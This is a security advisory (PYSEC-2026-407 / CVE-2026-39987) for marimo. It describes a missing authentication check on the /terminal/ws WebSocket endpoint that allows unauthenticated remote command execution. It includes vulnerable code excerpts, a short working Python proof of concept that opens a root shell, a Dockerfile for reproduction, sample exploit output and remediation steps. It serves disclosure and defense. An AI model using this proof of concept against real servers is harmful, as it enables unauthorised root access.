PYSEC-2026-407
Vulnerability from pysec - Published: 2026-06-29 11:50 - Updated: 2026-06-29 12:05Summary
Marimo (19.6k stars) has a Pre-Auth RCE vulnerability. The terminal WebSocket endpoint /terminal/ws lacks authentication validation, allowing an unauthenticated attacker to obtain a full PTY shell and execute arbitrary system commands.
Unlike other WebSocket endpoints (e.g., /ws) that correctly call validate_auth() for authentication, the /terminal/ws endpoint only checks the running mode and platform support before accepting connections, completely skipping authentication verification.
Affected Versions
Marimo <= 0.20.4
Vulnerability Details
Root Cause: Terminal WebSocket Missing Authentication
marimo/_server/api/endpoints/terminal.py lines 340-356:
@router.websocket("/ws")
async def websocket_endpoint(websocket: WebSocket) -> None:
app_state = AppState(websocket)
if app_state.mode != SessionMode.EDIT:
await websocket.close(...)
return
if not supports_terminal():
await websocket.close(...)
return
# No authentication check!
await websocket.accept() # Accepts connection directly
# ...
child_pid, fd = pty.fork() # Creates PTY shell
Compare with the correctly implemented /ws endpoint (ws_endpoint.py lines 67-82):
@router.websocket("/ws")
async def websocket_endpoint(websocket: WebSocket) -> None:
app_state = AppState(websocket)
validator = WebSocketConnectionValidator(websocket, app_state)
if not await validator.validate_auth(): # Correct auth check
return
```
### Authentication Middleware Limitation
Marimo uses Starlette's `AuthenticationMiddleware`, which marks failed auth connections as `UnauthenticatedUser` but does NOT actively reject WebSocket connections. Actual auth enforcement relies on endpoint-level `@requires()` decorators or `validate_auth()` calls.
The `/terminal/ws` endpoint has neither a `@requires("edit")` decorator nor a `validate_auth()` call, so unauthenticated WebSocket connections are accepted even when the auth middleware is active.
### Attack Chain
1. WebSocket connect to `ws://TARGET:2718/terminal/ws` (no auth needed)
2. `websocket.accept()` accepts the connection directly
3. `pty.fork()` creates a PTY child process
4. Full interactive shell with arbitrary command execution
5. Commands run as root in default Docker deployments
A single WebSocket connection yields a complete interactive shell.
## Proof of Concept
```python
import websocket
import time
# Connect without any authentication
ws = websocket.WebSocket()
ws.connect('ws://TARGET:2718/terminal/ws')
time.sleep(2)
# Drain initial output
try:
while True:
ws.settimeout(1)
ws.recv()
except:
pass
# Execute arbitrary command
ws.settimeout(10)
ws.send('id\n')
time.sleep(2)
print(ws.recv()) # uid=0(root) gid=0(root) groups=0(root)
ws.close()
### Reproduction Environment
FROM python:3.12-slim
RUN pip install --no-cache-dir marimo==0.20.4
RUN mkdir -p /app/notebooks
RUN echo 'import marimo as mo; app = mo.App()' > /app/notebooks/test.py
WORKDIR /app/notebooks
EXPOSE 2718
CMD ["marimo", "edit", "--host", "0.0.0.0", "--port", "2718", "."]
Reproduction Result
With auth enabled (server generates random access_token), the exploit bypasses authentication entirely:
$ python3 exp.py http://127.0.0.1:2718 exec "id && whoami && hostname"
[+] No auth needed! Terminal WebSocket connected
[+] Output:
uid=0(root) gid=0(root) groups=0(root)
root
ddfc452129c3
Suggested Remediation
- Add authentication validation to
/terminal/wsendpoint, consistent with/wsusingWebSocketConnectionValidator.validate_auth() - Apply unified authentication decorators or middleware interception to all WebSocket endpoints
- Terminal functionality should only be available when explicitly enabled, not on by default
Impact
An unauthenticated attacker can obtain a full interactive root shell on the server via a single WebSocket connection. No user interaction or authentication token is required, even when authentication is enabled on the marimo instance.
| Name | purl | marimo |
|---|
{
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{
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},
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],
"aliases": [
"CVE-2026-39987",
"GHSA-2679-6mx9-h9xc"
],
"details": "## Summary\n\nMarimo (19.6k stars) has a Pre-Auth RCE vulnerability. The terminal WebSocket endpoint `/terminal/ws` lacks authentication validation, allowing an unauthenticated attacker to obtain a full PTY shell and execute arbitrary system commands.\n\nUnlike other WebSocket endpoints (e.g., `/ws`) that correctly call `validate_auth()` for authentication, the `/terminal/ws` endpoint only checks the running mode and platform support before accepting connections, completely skipping authentication verification.\n\n## Affected Versions\n\nMarimo \u003c= 0.20.4 \n\n## Vulnerability Details\n\n### Root Cause: Terminal WebSocket Missing Authentication\n \n`marimo/_server/api/endpoints/terminal.py` lines 340-356:\n\n```python\n@router.websocket(\"/ws\")\nasync def websocket_endpoint(websocket: WebSocket) -\u003e None:\n app_state = AppState(websocket)\n if app_state.mode != SessionMode.EDIT:\n await websocket.close(...)\n return\n if not supports_terminal():\n await websocket.close(...)\n return\n # No authentication check!\n await websocket.accept() # Accepts connection directly\n # ...\n child_pid, fd = pty.fork() # Creates PTY shell\n```\n\nCompare with the correctly implemented `/ws` endpoint (`ws_endpoint.py` lines 67-82):\n\n```python\n@router.websocket(\"/ws\")\nasync def websocket_endpoint(websocket: WebSocket) -\u003e None:\n app_state = AppState(websocket)\n validator = WebSocketConnectionValidator(websocket, app_state)\n if not await validator.validate_auth(): # Correct auth check\n return\n ```\n\n### Authentication Middleware Limitation\n\nMarimo uses Starlette\u0027s `AuthenticationMiddleware`, which marks failed auth connections as `UnauthenticatedUser` but does NOT actively reject WebSocket connections. Actual auth enforcement relies on endpoint-level `@requires()` decorators or `validate_auth()` calls.\n\nThe `/terminal/ws` endpoint has neither a `@requires(\"edit\")` decorator nor a `validate_auth()` call, so unauthenticated WebSocket connections are accepted even when the auth middleware is active.\n\n ### Attack Chain\n\n1. WebSocket connect to `ws://TARGET:2718/terminal/ws` (no auth needed)\n2. `websocket.accept()` accepts the connection directly\n3. `pty.fork()` creates a PTY child process\n4. Full interactive shell with arbitrary command execution\n 5. Commands run as root in default Docker deployments\n\nA single WebSocket connection yields a complete interactive shell.\n\n## Proof of Concept\n\n```python\nimport websocket\nimport time\n\n# Connect without any authentication\nws = websocket.WebSocket()\nws.connect(\u0027ws://TARGET:2718/terminal/ws\u0027)\ntime.sleep(2)\n\n# Drain initial output\ntry:\n while True:\n ws.settimeout(1)\n ws.recv()\nexcept:\n pass\n\n# Execute arbitrary command\nws.settimeout(10)\nws.send(\u0027id\\n\u0027)\ntime.sleep(2)\nprint(ws.recv()) # uid=0(root) gid=0(root) groups=0(root)\nws.close()\n```\n\n ### Reproduction Environment\n\n```dockerfile\nFROM python:3.12-slim\nRUN pip install --no-cache-dir marimo==0.20.4\nRUN mkdir -p /app/notebooks\nRUN echo \u0027import marimo as mo; app = mo.App()\u0027 \u003e /app/notebooks/test.py\nWORKDIR /app/notebooks\nEXPOSE 2718\nCMD [\"marimo\", \"edit\", \"--host\", \"0.0.0.0\", \"--port\", \"2718\", \".\"]\n```\n\n### Reproduction Result\n\nWith auth enabled (server generates random `access_token`), the exploit bypasses authentication entirely:\n\n```\n$ python3 exp.py http://127.0.0.1:2718 exec \"id \u0026\u0026 whoami \u0026\u0026 hostname\"\n[+] No auth needed! Terminal WebSocket connected\n[+] Output:\nuid=0(root) gid=0(root) groups=0(root)\n root\nddfc452129c3\n```\n\n## Suggested Remediation\n\n1. Add authentication validation to `/terminal/ws` endpoint, consistent with `/ws` using `WebSocketConnectionValidator.validate_auth()`\n 2. Apply unified authentication decorators or middleware interception to all WebSocket endpoints\n3. Terminal functionality should only be available when explicitly enabled, not on by default\n\n## Impact\n\nAn unauthenticated attacker can obtain a full interactive root shell on the server via a single WebSocket connection. No user interaction or authentication token is required, even when authentication is enabled on the marimo instance.",
"id": "PYSEC-2026-407",
"modified": "2026-06-29T12:05:35.335259Z",
"published": "2026-06-29T11:50:47.157871Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-39987"
},
{
"type": "WEB",
"url": "https://github.com/marimo-team/marimo/pull/9098"
},
{
"type": "WEB",
"url": "https://github.com/marimo-team/marimo/commit/c24d4806398f30be6b12acd6c60d1d7c68cfd12a"
},
{
"type": "PACKAGE",
"url": "https://github.com/marimo-team/marimo"
},
{
"type": "WEB",
"url": "https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2025-39987"
},
{
"type": "WEB",
"url": "https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-39987"
},
{
"type": "WEB",
"url": "https://www.sysdig.com/blog/marimo-oss-python-notebook-rce-from-disclosure-to-exploitation-in-under-10-hours"
},
{
"type": "PACKAGE",
"url": "https://pypi.org/project/marimo"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-2679-6mx9-h9xc"
}
],
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Marimo: Pre-Auth Remote Code Execution via Terminal WebSocket Authentication Bypass"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.